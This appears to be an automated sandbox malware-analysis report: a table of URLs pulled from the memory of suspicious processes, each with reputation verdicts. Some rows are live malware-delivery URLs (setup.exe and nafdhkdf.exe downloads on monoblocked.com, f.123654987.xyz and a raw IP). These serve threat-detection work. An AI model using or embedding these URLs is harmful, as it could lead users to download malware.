http://schemas.xmlsoap.org/ws/2005/02/trust/Issueue	svchost.exe, 00000034.00000003.1909947828.000001F4D8F6E000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.symauth.com/cps0(	iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 00000009.00000003.1390262007.000002B171657000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.1404251431.000002B171658000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://a-dira.net/images/upd2.php	AddInProcess32.exe, 00000005.00000002.2604784378.0000000002C87000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002ADF000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002ABC000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.000000000299B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002D09000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002CB4000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.00000000029A3000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002CF5000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.000000000299F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002CA4000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002AEF000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002D19000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002994000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.00000000029C1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://5.42.66.10/download/th/space.phpLt	c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478565059.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1460930555.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1479265140.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://s.360safe.com/safei18n/ins_err.htm?ng	xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1287059393.0000000002351000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.360totalsecurity.com/en/license.htmla=95	xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1286798746.0000000002364000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1287059393.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1284177603.0000000002365000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1282882303.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1283481251.0000000002362000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1279675967.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1290130727.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1284229883.0000000002351000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dynamic.t	svchost.exe, 00000009.00000002.1407427465.000002B171663000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.symauth.com/rpa00	iYU7jmLL0jPLxgjctxjq1ReZ.exe, 00000012.00000003.1298739977.00000000020A0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monoblocked.com:80/525403/setup.exehudp(	c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478565059.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1460930555.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1479265140.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 00000009.00000003.1390262007.000002B171657000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.1404251431.000002B171658000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ipinfo.io/widget/demo/8.46.123.175	c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1409059874.000000000062B000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414285258.000000000062B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.360totalsecurity.com/$:	xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1284177603.0000000002365000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1282882303.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1283481251.0000000002362000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1279675967.0000000002351000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.360totalsecurity.com/zh-cn/license.htmlins	xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1287059393.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1282882303.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1279675967.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1290130727.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1284229883.0000000002351000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Win10TS.cab	xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1286798746.0000000002364000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1287059393.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1284177603.0000000002365000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1282882303.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1283481251.0000000002362000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1290130727.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1284229883.0000000002351000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://chrome.google.com/webstore/detail/360-internet-protection/glcimepnljoholdmjchkloafkggfoijhht	xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1337856938.0000000003812000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.172.18	AddInProcess32.exe, 00000005.00000002.2604784378.0000000002AEF000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Win10TS.cabp	xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1290130727.0000000002351000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.360totalsecurity.com/en/privacy.html%9	xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1284229883.0000000002351000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.360totalsecurity.com/en/privacy.htmlF:	xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1287059393.0000000002351000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 00000009.00000003.1390262007.000002B171657000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.1404251431.000002B171658000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Win10TS.cabz	xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1287059393.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1282882303.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1279675967.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1290130727.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1284229883.0000000002351000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf	svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.360totalsecurity.com/zh-cn/license.htmla=7	xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1287059393.0000000002351000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://f.123654987.xyz/525403/setup.exe_	c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1421794459.00000000043AC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Win10TS.cabv	xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1287059393.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1282882303.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1279675967.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1290130727.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1284229883.0000000002351000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/ppsecure/DeviceQuery.srf	svchost.exe, 00000034.00000003.1376014120.000001F4D8F4D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://login.microsoftonline.com/ppsecure/devicechangecredential.srfen	svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Win10TS.cab.q	xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1284229883.0000000002351000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://monoblocked.com:80/525403/setup.exeAy	c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.360totalsecurity.com/en/license.htmlup	xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1290130727.0000000002351000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.micro	explorer.exe, 00000024.00000000.1392491948.0000000008810000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000024.00000000.1385253121.0000000007C70000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000024.00000000.1393801896.0000000008820000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monoblocked.com/	c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478565059.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1460930555.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1479265140.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80600e	svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ampproject.org	c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004460000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/scd	svchost.exe, 00000034.00000002.2843127559.000001F4D8F3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://f.123654987.xyz/525403/setup.exev	c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1457084497.00000000043CA000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1426618374.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1453551457.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1457040379.00000000043C7000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1450196885.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1429282984.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1452926000.00000000043C0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://66.85.156.89/nafdhkdf.exe	explorer.exe, 00000024.00000003.2274886425.000000000C1E9000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://monoblocked.com/525403/setup.exe	c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414285258.000000000062B000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1452926000.00000000043C0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Win10TS.cabre	xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1287059393.0000000002351000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf%	svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lop.foxesjoy.com:80/ssl/crt.exeBt	c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478565059.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1460930555.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1479265140.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.bingmapsportal.comc	svchost.exe, 00000009.00000002.1401955165.000002B171613000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://yip.su	AddInProcess32.exe, 00000005.00000002.2604784378.0000000002C04000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002A43000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002C57000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002CB4000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002B04000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-it	explorer.exe, 00000024.00000000.1373594900.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://vk.com/doc5294803_669772653?hash=MJgzq2uHp4YpxKcxqN6PbWIkURu6KtrsshfCpnqBzv8&dl=rLosXazzKL04	c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478377141.00000000043C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	svchost.exe, 00000034.00000003.1802423004.000001F4D8F07000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Win10TSE.cabupdate	xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1287059393.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1290130727.0000000002351000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1284229883.0000000002351000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.360totalsecurity.com/en/license.htmlimb6	xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1287059393.0000000002351000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://signup.live.com/signup.aspx	svchost.exe, 00000034.00000003.1368388814.000001F4D8F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1379663960.000001F4D8F2A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376055788.000001F4D8F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376014120.000001F4D8F4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376151258.000001F4D8F40000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80601	svchost.exe, 00000034.00000003.1368388814.000001F4D8F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1379570012.000001F4D8F56000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://channel.360totalsecurity.com/ins?m2=%s&v611=%s&ch=%s&sch=%s%s?%skeyref_linkPhttps://orion.ts.	xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1334164364.0000000004E44000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1335128422.0000000004F05000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80603	svchost.exe, 00000034.00000003.1368388814.000001F4D8F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1379570012.000001F4D8F56000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://securepubads.g.doubleclick.net	c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004460000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.myip.com/	c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1315897235.00000000005A7000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAAAAA	svchost.exe, 00000034.00000003.1480834362.000001F4D8F29000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.ditu.live.com/REST/v1/Transit/Stops/	svchost.exe, 00000009.00000003.1376016747.000002B17166D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.1413696075.000002B171670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monoblocked.com/525403/setup.exeom/a	c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414285258.000000000062B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vk.ru	c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004460000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80605	svchost.exe, 00000034.00000003.1368388814.000001F4D8F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1379663960.000001F4D8F2A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1379570012.000001F4D8F56000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80604	svchost.exe, 00000034.00000003.1368388814.000001F4D8F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1379570012.000001F4D8F56000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://yip.su/RNWPd	AddInProcess32.exe, 00000005.00000002.2604784378.0000000002C4D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002CE9000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002C87000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002B2D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002C04000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002CC5000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002B92000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002B04000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002C65000.00000004.00000800.00020000.00000000.sdmp, aQ7CUsrnipUkMOjgF0nKuX1q.exe.5.dr, OEf7asb27AljF1U8YK72cN6l.exe.5.dr	false	Avira URL Cloud: safe	unknown
https://fleur-de-lis.sbs/Mx	c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478565059.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1460930555.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1479265140.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 00000009.00000003.1384271390.000002B171662000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.1407427465.000002B171663000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://vk.com/	c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478565059.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1460930555.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1479265140.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://monoblocked.com/525403/setup.exeU	c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1420648647.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1419328721.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1413612501.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1421794459.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414955708.00000000043C9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://iup.360safe.com/iv3/pc/360safe/360TS_Setup_For_Mini_Rel.cabmp	xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1284177603.0000000002365000.00000004.00000020.00020000.00000000.sdmp, xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000003.1284229883.0000000002351000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	svchost.exe, 00000034.00000003.1813056613.000001F4D8F31000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1811899775.000001F4D8F5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1895135423.000001F4D8F2A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1813056613.000001F4D8F2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1885812972.000001F4D8F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.2005894505.000001F4D8F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1803514742.000001F4D8F2A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

